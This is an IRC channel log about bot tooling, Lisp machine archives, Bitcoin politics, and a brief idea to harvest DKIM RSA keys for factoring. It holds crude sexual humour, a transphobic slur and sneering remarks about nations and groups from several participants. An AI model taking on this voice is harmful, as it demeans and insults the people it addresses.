1466069;1463017151;mircea_popescu;truth is by now i'm not even sure exactly how many distinct projects we're managing, but it's over a dozen, and will only keep growing. gotta import some management tools into all this, casual worked long enough 1466070;1463017162;mod6;for sure. 1466071;1463017166;mircea_popescu;mod6 honestly having another bot would be very good for resiliency in my eyes. 1466072;1463017199;mod6;cool. i'll make that the next step. getting it to be botified. 1466073;1463017213;mircea_popescu;however, a major point of collaboration imo, would be if everyone who runs bots (ie, deedbot, yours putatively, etc) ALSO keep logs, and provide phf with passive redundancy 1466074;1463017219;mircea_popescu;rather than him having to make logger bots *m 1466075;1463017240;mircea_popescu;you'd have to give him sql access to a log db. 1466076;1463017290;mod6;i guess it seems reasonable. 1466077;1463017361;mod6;so, make 'tbot' for instance. then allow people to create tickets under whatever project they want. 1466078;1463017367;mod6;as long as they're in the wot. 1466079;1463017369;mircea_popescu;the pgp permissioning being perhaps the trickiest part of it all. but ideally iut'd work like 1466080;1463017382;mod6;yeah, that part will be a huge pain. 1466081;1463017401;mircea_popescu;$tbot btcbase wot would result in a dump of the ticketlist for btcbase encrypted to my key that's of level world and level wot. 1466082;1463017403;mod6;well, maybe not huge, but yeah, most painful. 1466083;1463017432;mircea_popescu;whereas $bot deedbot me would result in a dump of ticketlist for deedbot encrypted to my key that's of level world and wot and me. 1466084;1463017463;mod6;aha. gotcha 1466085;1463017468;mircea_popescu;and i should be able to add tickets in the same sense, either public or wot or specified persons by encrypting it to bot's key. 1466086;1463017509;mircea_popescu;all this make sense in your head ? 1466087;1463017519;mod6;conceptually. 1466088;1463017525;mircea_popescu;well alright then 1466089;1463017536;mod6;not sure how i'd do the encrypting part and keep it sec with minimal cost. 1466090;1463017541;mod6;where minimal ~0. 1466091;1463017555;mod6;anyway, i think it's some thing i can work up to. 1466092;1463017588;mircea_popescu;yeah. that's the iffiest part. 1466093;1463017644;mod6;i do like this idea though. 1466094;1463017717;mircea_popescu;truth be told, even without permissioning it'd be pretty useful. that's more like a sort of you know, experimental wunderwaffen division, why not ask for things, see what happens. 1466095;1463017722;mod6;now.. deedbot might have the infrastructure already in place to make this easier. 1466096;1463017734;mod6;yeah, exactly. 1466097;1463017745;mod6;i think it's a fine idea, Sir. 1466098;1463017746;mircea_popescu;quite possibly, see what trinque says. running two bots does not necessarily mean one must write two bots. 1466099;1463017764;shinohai;heh mod6 this is too awesum :D 1466100;1463017783;mircea_popescu;totally going that way huh shinohai 1466101;1463017836;mod6;:] 1466102;1463017841;shinohai;Absolutely one of the most useful tools in Bitcoinspace hands down 1466103;1463017861;mod6;there really are so many things going on, and many more to come, we gotta be able to track this stuff. 1466104;1463017872;*;mircea_popescu recalls the humble beginnings when we came up with the nutty idea of having a bot do voicing in chan. that was never going to work. 1466105;1463017875;mircea_popescu;coupla years later... 1466106;1463017889;mod6;truth 1466107;1463017912;mircea_popescu;it totally did not work what can i say. 1466108;1463017918;mod6;haha 1466109;1463017931;mod6;thanks for your input here, i think it takes a simple idea and scales it up nice. 1466110;1463017977;shinohai;I've been lurking here almost a year now, good things happen here that just do not happen elsewhere. 1466111;1463018062;mod6;'tis the difference between a republic that people want to be a part of and want to work, and an ad-hoc gaggle of people "doing stuff" 1466112;1463018092;shinohai;"We're just ideaz guyz" 1466113;1463018146;shinohai;Yup, I registered on May 25, 2015 ... how time flies. I thank you all for the knowledge I have gained in said time. 1466114;1463018181;mod6;Thank *you* for your hardwork! 1466115;1463018261;shinohai;np, no good thing comes without hard work and trials 1466116;1463018279;mod6;"A republic, if you can keep it" 1466117;1463018304;mod6;where ``keep it'' invoves doing the hard, useful things that need doing. 1466118;1463018818;shinohai;http://log.bitcoin-assets.com/?date=11-05-2016 <<< congrats to asciilifeform for most lines posted yesterday LOL 1466119;1463019257;asciilifeform;;;later tell mircea_popescu http://dpaste.com/247510B.txt << don't die of laughter. 1466120;1463019257;gribble;The operation succeeded. 1466121;1463029387;mircea_popescu;$up indoor_jellyfish 1466122;1463029388;deedbot;indoor_jellyfish voiced for 30 minutes. 1466123;1463029492;mircea_popescu;asciilifeform nope. 1466124;1463029727;indoor_jellyfish;Does anyone know of a document that explains the linux boot process in detail? I've lisp code that builds /a/ ResuceCD (http://paste.lisp.org/display/315833) but not /the/ ResuceCD needed for Masamune. 1466125;1463029814;indoor_jellyfish;ie, it the current process doesn't package together the existing libraries / binaries /sources on disk into the bootable USB, and instead uses my re-write of "Roll your own ResueCD" (https://www.phenix.bnl.gov/~purschke/RescueCD/) 1466126;1463029835;indoor_jellyfish;which uses and unpacked archive of binaries from the author of that blog post 1466127;1463029911;indoor_jellyfish;I don't really understand how the C linker or the rest of the linux "toolkit" works (eg, chroot) and a detailed explanation of how I would arrange a set of files + binaries, bundle them and generate a minimal bootable USB would go a long way. 1466128;1463029917;*;indoor_jellyfish is gabriel_laddel 1466129;1463029937;indoor_jellyfish;without such a document, the masamune replication will get done, but it'll take a while.. 1466130;1463030016;BingoBoingo;http://tipthepizzaguy.com/stories/story431.htm 1466131;1463042198;punkman;;;later tell gabriel_laddel https://0xax.gitbooks.io/linux-insides/content/Booting/ 1466132;1463042198;gribble;The operation succeeded. 1466133;1463051111;jurov;punkman these look like kernel innards, gabriel was asking more about userspace 1466134;1463051214;jurov;funny that I can't remember any concrete source how I learned that stuff. it somehow accreted 1466135;1463051294;jurov;;;later tell gabriel_laddel you'll definitely need this: https://wiki.gentoo.org/wiki/Custom_Initramfs 1466136;1463051294;gribble;The operation succeeded. 1466137;1463058437;punkman;jurov, dunno looks like it covers the whole thing 1466138;1463058588;mircea_popescu;jurov> funny that I can't remember any concrete source how I learned that stuff. it somehow accreted <<< thinking about it i dun think a proper source exists, outside of carder forums or w/e equiv. 1466139;1463058619;mircea_popescu;maybe good move for gabriel_laddel to actually post that thing on his blog once he makes it. 1466140;1463058792;mircea_popescu;o hey, paymium now joins bitstamp on the list of wanna-be bitcoin exchanges that email spam. 1466141;1463060497;asciilifeform;http://btcbase.org/log/2016-05-12#1466138 << aaaaaaassctually 1466142;1463060497;a111;Logged on 2016-05-12 13:09 mircea_popescu: jurov> funny that I can't remember any concrete source how I learned that stuff. it somehow accreted <<< thinking about it i dun think a proper source exists, outside of carder forums or w/e equiv. 1466143;1463060504;asciilifeform;it is in the logz! 1466144;1463060515;asciilifeform;my pogotron had it all... 1466145;1463060535;asciilifeform;srsly 1466146;1463061022;mircea_popescu;oh right you are huh. 1466147;1463061201;shinohai;I managed to make my own gentoo livecd a few weeks ago ... I used the roll-your-own initramfs thing like jurov posted earlier 1466148;1463061857;phf;asciilifeform: http://glyf.org/tmp/foo.jpg 1466149;1463061935;asciilifeform;http://btcbase.org/log/2016-05-12#1466148 << whole set?!!?? 1466150;1463061935;a111;Logged on 2016-05-12 14:04 phf: asciilifeform: http://glyf.org/tmp/foo.jpg 1466151;1463061952;phf;yes 1466152;1463061979;asciilifeform;where? 1466153;1463062052;asciilifeform;djvu or it neverhappened (tm) (r) 1466154;1463062146;phf;there's really too much documents for my lowly eos 5d, but i'm going for teh ic schematics and such. it's mostly like "here's how you machine part 560345 front left hinge" 1466155;1463062189;asciilifeform;how many schmidts you had to kill to get these! 1466156;1463062523;mircea_popescu;check him out ? 1466157;1463062636;mircea_popescu;phf care to qntra ? :) 1466158;1463062752;phf;no, this needs further slow movement. i'm still hoping to get the whole set on another trip 1466159;1463062819;phf;like there are cable assemblies, that are handy for repairs or new construction, that i just don't have time to capture 1466160;1463062833;mircea_popescu;what's the constraint ? 1466161;1463063331;phf;he still has open maintenance contracts 1466162;1463063427;phf;while the bulk is software, a dwindling part of it is repairs and console upkeep 1466163;1463063720;phf;the intended purpose is to help lispm owners maintain systems on their own since the number of available parts is basically two stables in a barn and those are going to the usual suspects 1466164;1463063844;phf;and since asciilifeform is a lispm owner i don't see particularly reason why s.nsa shouldn't have access to it 1466165;1463064092;asciilifeform;http://btcbase.org/log/2016-05-12#1466158 << there is one possible boojum that i know of: 1466166;1463064092;a111;Logged on 2016-05-12 14:19 phf: no, this needs further slow movement. i'm still hoping to get the whole set on another trip 1466167;1463064099;asciilifeform;most of the 'good stuff' was GAL listings 1466168;1463064102;asciilifeform;rather than schematics 1466169;1463064114;asciilifeform;as smbx was among the first outfits to use synthesized logic 1466170;1463064138;asciilifeform;i'll be quite surprised if these are to be found in the papers david s releases to machine owners 1466171;1463064148;asciilifeform;and they are what is needed to replicate the thing on fpga. 1466172;1463064171;asciilifeform;(either that or the 'snap4' emulator source code) 1466173;1463064242;phf;that's true, but those are not lost either 1466174;1463064384;mircea_popescu;this is pretty cool. 1466175;1463064389;mircea_popescu;$rated phf 1466176;1463064390;deedbot;mircea_popescu rated phf 3 at 3668926147 << Teh desire has been expressed and heard! 1466177;1463064409;phf;the main constraint is those same open maintenance contracts, but ultimately guy wants all that stuff preserved 1466178;1463064422;mircea_popescu;$rate phf 4 Keeper of the logs ; and of Symbolics history. 1466179;1463064426;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/0baf9bd9-c8df-4128-bb9b-76e198b226be/ 1466180;1463064456;mircea_popescu;$v 5B32D3412CCCD6B40CAE1CC564C953BE033C546D99BD1E35C62E449B93BCA1E2 1466181;1463064456;deedbot;mircea_popescu updated rating of phf from 3 to 4 << Keeper of the logs ; and of Symbolics history. 1466182;1463064786;asciilifeform;phf: last thing dks said to me was that the rights to the whole shebang were bought at auction by prof j mallery of mit/nsa. 1466183;1463064809;asciilifeform;or rather, he admitted that they were sold, but did not say to whom, i discovered through other informants 1466184;1463065327;phf;i know that mallery owns the entire software side, no idea where the vlsi falls, but afaiu that's the reason why nobody's doing anything with the assets 1466185;1463065700;phf;but after shuffling "assembly" and "harness" papers for two days i know for a fact that some dedicated japanese man will be able to lovingly carve an smbx replica as his chosen otaku hobby 1466186;1463066749;asciilifeform;l0l 1466187;1463066791;asciilifeform;phf: the vlsi falls squarely in the software side afaik 1466188;1463066802;asciilifeform;it existed almost entirely as src text 1466189;1463066812;asciilifeform;ditto the synthesis system 1466190;1463066833;asciilifeform;(smbx had this, apparently, before ~anybody else, though today it is sop) 1466191;1463066895;asciilifeform;a smbx box actually contained not 1 but ~3~ computers 1466192;1463066923;asciilifeform;the lispm itself, the 'fep' (which did disk/tape/etc. i/o, and was its own m68k machine) plus another m68k in the console 1466193;1463066940;asciilifeform;it might be possible to recreate the last 2 from the schematics. 1466194;1463066941;asciilifeform;fwiw. 1466195;1463066943;phf;there are some funny comments about t.i. people on the margins 1466196;1463066951;asciilifeform;the largest competitor, aha 1466197;1463066970;asciilifeform;(ti sold what was mostly a straight miniature clone of the original mit lispm) 1466198;1463067325;asciilifeform;i will note that there are no unusual cables (other than the long triax console cable) in my lispm 1466199;1463067332;asciilifeform;the internals are mostly on the backplane. 1466200;1463067440;asciilifeform;(disk is on a st-506 cable but the pinout is public and you can buy the cable on, e.g., ebay) 1466201;1463067483;asciilifeform;dc power supply (a monster, iron box in the machine) was made by 3rd party and has labeled screw terminals 1466202;1463067559;asciilifeform;the last true smbx box, xl1200, actually had standard scsi in it. 1466203;1463067602;asciilifeform;(and the 'macivory' product that sat in a 68k mac, was simply a card with the smbx cpu in it... no cables at all) 1466204;1463067639;asciilifeform;at one point i considered buying one, but was not able to swing the access to the needed microscopy 1466205;1463067648;asciilifeform;$up luke-jr 1466206;1463067655;deedbot;luke-jr voiced for 30 minutes. 1466207;1463067673;asciilifeform;what brings you here luke-jr ? 1466208;1463067688;luke-jr;so we're discussing whether we can get consensus for a hardfork with the community here 1466209;1463067729;luke-jr;is there any possibility of that, or is it just impossible? 1466210;1463067739;asciilifeform;luke-jr: what's in your hardfork ? 1466211;1463067768;luke-jr;asciilifeform: not sure yet; ideally, only things that everyone thinks are acceptable (including people here) 1466212;1463067791;asciilifeform;well nobody can answer this mega-question until the concretes are given, neh ? 1466213;1463067796;luke-jr;(unreasonable people demand we support 2 MB old transactions) 1466214;1463067876;asciilifeform;normally folks going hard-forking have some specific idea of why... 1466215;1463067955;luke-jr;asciilifeform: to show the industry that a hardfork and consensus is a possible thing 1466216;1463068044;mircea_popescu;luke-jr do your reading. 1466217;1463068071;mircea_popescu;also, please don't refer to tmsr as "a community". it is not "a community", it is your liege. 1466218;1463068162;*;shinohai makes popcorn 1466219;1463068248;luke-jr;asciilifeform: things I'd like to see in it would be merged mining, additional inputs to the generation transaction, and maybe fix block withholding 1466220;1463068257;mircea_popescu;$down luke-jr 1466221;1463068288;mircea_popescu;as the romanian expression goes, prostu' parca nu-i destul daca nu e si fudul. 1466222;1463069727;trinque;http://btcbase.org/log/2016-05-11#1465970 << serious wtf; I'll look into it 1466223;1463069727;a111;Logged on 2016-05-11 21:38 mircea_popescu: world of tanks lol. trinque wtf the api can't be that broken ?! 1466224;1463069803;trinque;http://btcbase.org/log/2016-05-12#1466068 << wrote my bot with the intention of making creating new commands very easy 1466225;1463069803;a111;Logged on 2016-05-12 01:39 mod6: trinque: any thoughts here? should we just collaborate on this? phf? 1466226;1463069898;trinque;could be that you expose some api - or SQL - my direction, or otherwise that I somehow sync (rsync?) tickets from you 1466227;1463069933;trinque;http://btcbase.org/log/2016-05-12#1466098 << yeah, "commandbot" is WoTsauce 1466228;1463069933;a111;Logged on 2016-05-12 01:49 mircea_popescu: quite possibly, see what trinque says. running two bots does not necessarily mean one must write two bots. 1466229;1463070104;trinque;http://wiki.deedbot.org/site/recent-changes << shinohai, nice dude! 1466230;1463070325;shinohai;Trying to get all that stuff mioved over to a site we control. I'm actually liking clwiki now, thanks for providing it! 1466231;1463070398;trinque;sweet 1466232;1463070471;shinohai;The bot section will need a whole new writeup though, since everything was merged into deedbot so gotta get a list of all those features compiled. 1466233;1463071045;trinque;$help 1466234;1463071046;deedbot;http://deedbot.org/help.html 1466235;1463071075;trinque;shinohai: deedbot's can link to that, as I'll have that autogenerated from its sauce 1466236;1463071200;shinohai;ah ok will do 1466237;1463071300;PeterL;hi all 1466238;1463071350;PeterL;so, I bought a house, I figured it is a good time to lock up a loan at 3.5% interest for 30 years 1466239;1463071404;PeterL;rates can't go much lower than they are 1466240;1463073827;shinohai;trinque: how do i insert a line break?
doesn't work it seems. 1466241;1463074471;shinohai;and now I am getting 502 error as well :/ 1466242;1463074505;trinque;yeah I did that 1466243;1463074507;trinque;it's back 1466244;1463074521;shinohai;Good, I didn't break it 1466245;1463074521;trinque;wait one sec 1466246;1463074522;trinque;:p 1466247;1463074845;trinque;damned thing doesn't shit errors out anywhere 1466248;1463074848;trinque;so I'll be digging for a minute 1466249;1463074925;shinohai;kk no worries 1466250;1463075479;asciilifeform;from the bureau of vintage lulz: http://www.nytimes.com/books/first/l/levy-crypto.html 1466251;1463075732;asciilifeform;'For instance, Diffie quizzed an MIT colleague named Dan Edwards, who would join the NSA after graduating. "He was extremely unhelpful," Diffie later reported, "failing to reveal things which were certainly not classified and which I later saw in the bibliography of his thesis." And when a colleague at Mitre went to work at IDA, Diffie asked him if he could share anything about his work. After a tan 1466252;1463075738;asciilifeform;talizing pause: no.' 1466253;1463077340;mircea_popescu;PeterL even if they do, if you can't use capital more productively than 5% a year it's time to go back to school. 1466254;1463077397;mircea_popescu;(yes - that's the point of sending kids to school. to get them from where their average capital productivity is < 0% to where they get at least even with average. which should be within reach for an iq 100 fellow ; which is the only meaningful definition of iq available in the first place.) 1466255;1463077493;mircea_popescu;asciilifeform goes right back to the whole "gestapo couldn't keep abreast of all the phonecalls from the "innocent public" they kept receiving". just like policeman rarely works there as a job, and generally works there as a hedge against his own inferiority complexes, derps working for nsa work there mostly for to be working there. 1466256;1463077519;PeterL;so are you saying you wouldn't lend money at less than 5% because you have better things to do with it? 1466257;1463077541;mircea_popescu;PeterL something like that. i wouldn't lend money in general, i'm not old and out of touch enough for that. 1466258;1463077664;mircea_popescu;asciilifeform to look at it from a different perspective : attaching the attribute "classified" to a specified item has a number of effects on the world, some of which can have associated values that are computable. one such example is : that it triggers interest from the enemy, however defined. this is clearly a -. another one such example is : that it makes the workforce feel more important. since compensation always has to 1466259;1463077664;mircea_popescu; = "opportunity cost" + "self-actualisation value", and since the sort of idiots that actually take jobs with the nsa have very simple "self actualisation" functions, which often evaluate to "be in a place where things are called 'classified'", then this necessarily is a +. 1466260;1463077688;mircea_popescu;it stands then to reason to say that classification is more of a hr/personnel retention tool than a opsec instrument. 1466261;1463077702;mircea_popescu;experience seems amusingly enough to confirm this theory. 1466262;1463077851;asciilifeform;toilet cleaning schedule is classified 1466263;1463077856;asciilifeform;but so is manhattan project. 1466264;1463077865;mircea_popescu;and it ended up with the russians. 1466265;1463077908;asciilifeform;so it did. 1466266;1463077920;mircea_popescu;so that didn't help ; or even hindered. 1466267;1463077921;asciilifeform;usa of the period was a culturally impoverished zimbabwe 1466268;1463077927;asciilifeform;was stuck using foreign specialists. 1466269;1463077928;mircea_popescu;meanwhile, it DID make the job of recruiters that much easier. 1466270;1463077992;mircea_popescu;i am not so convinced the past 60 years made the us any less of a culturally impoverished zimbabwe. it's still not a nation, nor much of a country. it doesn't even make much of a hotel, used to be a sort of cote d'azur, now more like jamaica. 1466271;1463078013;mircea_popescu;"the place where middleaged couples with strange ideas about what'd put the spark back in the bedroom go for massage-vacations" 1466272;1463078634;asciilifeform;my point was, they use aryans now. 1466273;1463078679;asciilifeform;wake me up when princeton leaks even 1 page. 1466274;1463078797;trinque;http://btcbase.org/log/2016-05-12#1466240 << http://wiki.deedbot.org/Text%20Formatting#selection-15.0-15.141 1466275;1463078797;a111;Logged on 2016-05-12 17:23 shinohai: trinque: how do i insert a line break?
doesn't work it seems. 1466276;1463085796;asciilifeform;http://natashenka.ca/posters 1466277;1463086018;shinohai;^ kek 1466278;1463086724;mircea_popescu;is this good for bitcoin ? 1466279;1463087235;BingoBoingo;lol 1466280;1463087642;deedbot;[Trilema] The Megawatt standard - http://trilema.com/2016/the-megawatt-standard/ 1466281;1463088064;BingoBoingo;Meaningful rebellion in one's twilight years https://archive.is/hyTIq 1466282;1463100990;mircea_popescu;awww. 1466283;1463103005;mod6;<+asciilifeform> http://natashenka.ca/posters << lol these should go up everywhere 1466284;1463104927;trinque;all the abstinence kids look like their genes are quite happy with calling their current derp the end of the road. 1466285;1463105005;mircea_popescu;word. 1466286;1463109883;deedbot;[» Contravex: A blog by Pete Dushenski] Outsourcing fever. - http://www.contravex.com/2016/05/12/outsourcing-fever/ 1466287;1463112336;*;asciilifeform just now finished drinking with the rupturefarmz folk wishing him a merry neverneverland 1466288;1463113515;ben_vulpes;were they curious about your new adventures? 1466289;1463113770;mircea_popescu;whacha have ? 1466290;1463114555;asciilifeform;mircea_popescu: litres 1466291;1463114562;*;asciilifeform brb 1466292;1463114643;mircea_popescu;Mother mother fuck, mother mother fuck fuck, mother fuck mother fuck noish noish. One, two, one two three four noish noish noish noish. Smokin weed smokin whizz doin coke drinkin beers drinkin beers beers beers. Rollin fatties, smokin blunts. Whos smokes blunts? We smoke blunts. Rollin blunts and smokin.. 1466293;1463115012;mod6;lol 1466294;1463115158;mircea_popescu;speaking of which, https://www.youtube.com/watch?v=dWdVwt2deY4 1466295;1463118769;mircea_popescu;Moduli Waiting for Test: 20 << still getting these huh. nice. 1466296;1463119966;punkman;http://nymag.com/selectall/2016/04/princes-legendary-floppy-disk-symbol-font.html https://www.youtube.com/watch?v=8LhcParuzpc 1466297;1463120151;punkman;mircea_popescu: Moduli Waiting for Test: 20 << still getting these huh. nice. << speaking of which, could you install python2.7.* on the gwern archive box? 1466298;1463120172;mircea_popescu;ugh. can't you ? 1466299;1463120208;punkman;did I have admin permissions? 1466300;1463120224;mircea_popescu;i have nfi ; besides, python also installs in user directory neh ? doesn't have to be systemwide. 1466301;1463120255;punkman;it does but you need various packages to compile it 1466302;1463120371;mircea_popescu;http://stackoverflow.com/questions/622744/unable-to-install-python-without-sudo-access << apparently you don't need anything other than a writable dir. 1466303;1463136933;BingoBoingo;Aw, qntra appears DDoS'd now just when I am considering a piece on the increase in young Muricans with ischemic brain damage 1466304;1463136952;shinohai;:/ 1466305;1463139509;mircea_popescu;hm 1466306;1463141685;BingoBoingo;brb 1466307;1463143955;mircea_popescu;BingoBoingo server is up, but web is iffy. patience will resolve teh matter. 1466308;1463144819;deedbot;[Trilema] die neue SS - http://trilema.com/2016/die-neue-ss/ 1466309;1463152184;shinohai;;;later tell BingoBoingo for when ddos ends: http://ix.io/DYw 1466310;1463152184;gribble;The operation succeeded. 1466311;1463153832;davout;http://btcbase.org/log/2016-05-12#1466140 <<< who could have predicted!1 1466312;1463153832;a111;Logged on 2016-05-12 13:13 mircea_popescu: o hey, paymium now joins bitstamp on the list of wanna-be bitcoin exchanges that email spam. 1466313;1463157478;asciilifeform;http://seclists.org/oss-sec/2016/q2/335 << moar lelz 1466314;1463158825;shinohai;LOL the bitcointalk shemale slut got haxxored: https://bitcointalk.org/index.php?topic=1469369.msg0;boardseen#new 1466315;1463158854;davout;asciilifeform & mircea_popescu just realized that the DKIM RSA keys could easily be harvested from teh interwebz and fed to the phuctor 1466316;1463158890;asciilifeform;davout: sure 1466317;1463158897;davout;most of those are 1024 bit though 1466318;1463158935;davout;because obviously DNS implementations won't let you use a value that's more than 0XFF chars long 1466319;1463158944;davout;and otherwise the pubkey doesn't fit 1466320;1463158976;davout;not sure what the best way to enumerate domains for this purpose is 1466321;1463159007;asciilifeform;every time i dig into some pile of 'standardized' shit, i turn up 1,001 items like this 1466322;1463159028;asciilifeform;'oh you oughtn't want long keyz because only terrorists want >1024bit and fuckyou the STANDARD says...' 1466323;1463159233;shinohai;Wait wrong Cassie. 1466324;1463159285;asciilifeform;waiwut 1466325;1463159330;davout;according to http://www.tau.ac.il/~tromer/papers/cbtwirl.pdf it'd cost 10mn and a year to factor a 1024 bit number, and the paper is from 2003 apparently 1466326;1463159486;asciilifeform;the other boojum is that factoring a ~typical~, vs. 'ideally' generated 1024-bit key, is quite likely much cheaper yet. 1466327;1463160431;shinohai;http://www.nytimes.com/aponline/2016/05/13/world/europe/ap-eu-romania-coin-anti-semitism.html <<< kek 1466328;1463161408;asciilifeform;;;later tell BingoBoingo http://www.techworm.net/2016/05/philadelphia-police-spying-citizens-using-spy-truck.html << qntra ? 1466329;1463161409;gribble;The operation succeeded. 1466330;1463161461;asciilifeform;;;later tell BingoBoingo http://www.techworm.net/2016/05/chinese-shame-data-pla-officials-jack-ma-tycoons-leaked-twitter.html << from same rag. 1466331;1463161461;gribble;The operation succeeded. 1466332;1463162361;mircea_popescu;davout> most of those are 1024 bit though << this may as well be an advantage. phuctor benefits from long primes in its 8ball 1466333;1463162434;mircea_popescu;for a second there i thought alf moved on to reading bitcointalk for lack of fishfapping material. 1466334;1463162457;asciilifeform;lel i still can't bring myself to read it 1466335;1463162459;asciilifeform;after n yearz 1466336;1463162471;asciilifeform;i read hanbot's articles way back when and that was it. 1466337;1463162562;mircea_popescu;wtgf is that nytimes bs. "it said it said" lalala .what ? 1466338;1463162592;mircea_popescu;"us" can by and large get fucked, they don't have nor had since perhaps morgenthau anyone in a central bank seat that can compare to romania's. 1466339;1463162614;mircea_popescu;the notion that the us would be derping at bnr is beyond fucking lulzy, what's next, a critique of bach by j. timberfake ? 1466340;1463165212;mircea_popescu;punkman da fuck did you do ? 1466341;1463165298;mod6;howdy 1466342;1463165430;mircea_popescu;hola mod6 1466343;1463165545;mod6;:] 1466344;1463165548;mod6;friday! 1466345;1463165583;*;asciilifeform sweeps desk at rupturefarmz 1466346;1463165813;*;shinohai passes mod6 a cold one [~]D 1466347;1463165827;mod6;thanks amigo 1466348;1463165835;mod6;been a long week 1466349;1463165938;shinohai;You already home from work? 1466350;1463166045;mod6;worked downtown for a half-day today, wfh rest of day. 1466351;1463166068;shinohai;wfh = watch xhamster vids all afternoon :D 1466352;1463166073;mod6;haha 1466353;1463166104;mod6;when i don't have someone watching my every move during the day, i usually can login and chat during the day at the office. 1466354;1463166124;mod6;but since like... at least mid-feb, a lady has been watching my every move. 1466355;1463166151;ben_vulpes;gotta use the irc gateway for the corporate chat 1466356;1463166160;shinohai;lame 1466357;1463166161;ben_vulpes;nobody can tell then 1466358;1463166179;mod6;haha. she's been watching me type. 1466359;1463166183;mod6;all day. every day. 1466360;1463166199;mod6;i've been architecting a performance framework 1466361;1463166208;mircea_popescu;BingoBoingo qntra back on. 1466362;1463166253;ben_vulpes;jesus why is someonne actually watching over your shoulder? 1466363;1463166263;ben_vulpes;manager? intern? 1466364;1463166291;mod6;peer. so i've been hacking all the code together and 'driving' while she sits there. 1466365;1463166311;ben_vulpes;lol 1466366;1463166318;ben_vulpes;is she even producing useful input? 1466367;1463166324;mod6;yeah. 1466368;1463166325;ben_vulpes;what precisely is the goal of having her hawk on you 1466369;1463166340;mod6;some tasks are somewhat async. 1466370;1463166350;mod6;but most of it is like talking through a bunch of shit. 1466371;1463166363;ben_vulpes;"pairing"? 1466372;1463166440;mod6;we're writing a lot of the stuff together so architecture decisions aren't "made in a silo" 1466373;1463166475;mod6;and we're moving too fast to wait for someone to wait for a PR, respond in there and then refactor/rearchitect and update PR 1466374;1463166524;ben_vulpes;doesn't sound all bad 1466375;1463166565;phf;for effective pairing weaker pair should always be driving 1466376;1463166576;mod6;i'd much rather work remote and "pair" that way. it's not super bad or anything, cept for the commute, and not being able to sneak off to tmsr~ 1466377;1463166604;mod6;phf: i can't stand watching her type. nor her formatting. and she doesn't really understand version control. 1466378;1463166615;phf;exactly! 1466379;1463166618;*;shinohai is glad his whole "job" is tmsr duties and fapping 1466380;1463166625;mod6;she's probably better with spring and shit like that than me though. 1466381;1463166634;mod6;cause whatever, jera 1466382;1463166638;mod6;*jerva 1466383;1463166648;mircea_popescu;mod6> but since like... at least mid-feb, a lady has been watching my every move. << o no, got lady cat ?! 1466384;1463166665;mod6;a cat-lady, yes. 1466385;1463166670;phf;basically when a weaker pair is driving you can whip her into doing it right, otherwise she's just sitting there giving "useful" advice 1466386;1463166688;mod6;i don't feel the need to try to improve someone else. 1466387;1463166712;phf;right, this advice only applies when you're actually trying to transfer knowledge and build better team and all that 1466388;1463166720;mod6;fair enough 1466389;1463166724;mircea_popescu;phf> for effective pairing weaker pair should always be driving << mno, for effective pairing pair should be having sex. 1466390;1463166744;*;ben_vulpes rolls eyes 1466391;1463166745;mod6;and yah phf, that's usually how its done. 1466392;1463166758;mod6;anyway, ugh. 1466393;1463166758;ben_vulpes;(cue asciilifeform: "wat? gurl in programmering!?") 1466394;1463166760;mod6;tired. 1466395;1463166784;mircea_popescu;ben_vulpes i'll have you know that s.mg is/was ever since forever 100% girl tech corp. 1466396;1463166796;ben_vulpes;you think i'm unaware? 1466397;1463166799;mircea_popescu;course, shitheadgate too busy to discuss this, but... 1466398;1463166805;mod6;we'll have to put a flag in here so I can give the details later when I go to next_place. XXX 1466399;1463166829;mircea_popescu;i think i may even do it that way deliberately - make it a girls only corporation and fu. just to bother teh ustards. 1466400;1463166897;ben_vulpes;i'm certainly doing things dramatically differently next time. 1466401;1463166904;mircea_popescu;phf for THAT kind of pairing, you can't beat irc pairing. it's, in a sense, what i do all day, let "weaker" (ie, more specialised) pairs drive, i got a whole raft of 'em. 1466402;1463166969;mircea_popescu;it's not practical to have physically-blocked "in same room looking at same kbd" sorta arrangement there, costs more than it can ever be worth. 1466403;1463167021;mod6;yeah, agreed. 1466404;1463167029;shinohai;;;later tell trinque Can't click on top links on wiki, must manually enter >>> http://i.imgur.com/cKYghFB.png?1 1466405;1463167030;gribble;The operation succeeded. 1466406;1463167045;mod6;i've done so much work with peopel over irc or even screen-sharing while remote, this irl stuff is insane 1466407;1463167066;mircea_popescu;(in other lulz of perhaps BingoBoingo interest, did anyone else know that preet bharara has an illustrious antecessor the original director of the original interpol - at the time called "international criminal police commission", but rebranded to avoid the stigma - who was actually hanged for his activities ?) 1466408;1463167084;shinohai;O.o wut? 1466409;1463167097;mircea_popescu;"From Ernst Katlenbrunner to Preet Bharara, a history of SS Police and Policing" 1466410;1463167226;shinohai;mod6: did u see https://twitter.com/SatoshiShinohai/status/731176444613808132 ? 1466411;1463167247;mircea_popescu;o wow, real satoshi emerges ? 1466412;1463167283;shinohai;Some derp had already taken @shinohai and refused my offer to buy. 1466413;1463167439;mircea_popescu;hey, works. 1466414;1463167624;*;mod6 looks 1466415;1463167654;mod6;rosebuttboard lol 1466416;1463167747;shinohai;I couldn't resist. 1466417;1463167856;shinohai;I have to say an anal fisting website would have been low on my list of hacking priorities but I still salute them. 1466418;1463167917;mod6;anal fisting site should have expected to get their backdoor penetrated 1466419;1463169189;trinque;shinohai: yeah I'll fix that css 1466420;1463169204;shinohai;kk thanx B 1466421;1463171294;deedbot;[Qntra] Yet Another Darknet Market Sprouts - http://qntra.net/2016/05/yet-another-darknet-market-sprouts/ 1466422;1463171895;shinohai;thx BingoBoingo 1466423;1463171903;BingoBoingo;ty 1466424;1463171932;shinohai;I haven't found much material this month. Reddit makes me vomit. 1466425;1463172604;BingoBoingo;Yeah, not much has happened this month other than Clinton v. Clinton noise 1466426;1463172954;mircea_popescu;incidentally, anyone know guardian sword (picsoft) ? pretty decent roguelike adventure ~for teh ipad~. complete with involuntary translation lulz etc. 1466427;1463173004;mircea_popescu;to quote teh typically frustrated esltard, "I like this game, but I have gotten as far as I can go...not the end of the game, mind you, I just can't get any farther. There is no information available anywhere about how to get past these obstacles. No point in playing anymore. " 1466428;1463173697;BingoBoingo;lol 1466429;1463174372;deedbot;[Qntra] Incidents Of Ischemic Brain Damage Increase Among Younger Adults In United States - http://qntra.net/2016/05/incidents-of-ischemic-brain-damage-increase-among-younger-adults-in-united-states/ 1466430;1463174583;davout;mircea_popescu: lol, an ipad? 1466431;1463174818;trinque;mod6 │ anal fisting site should have expected to get their backdoor penetrated << loool 1466432;1463174830;mod6;:D 1466433;1463175244;mircea_popescu;davout aha 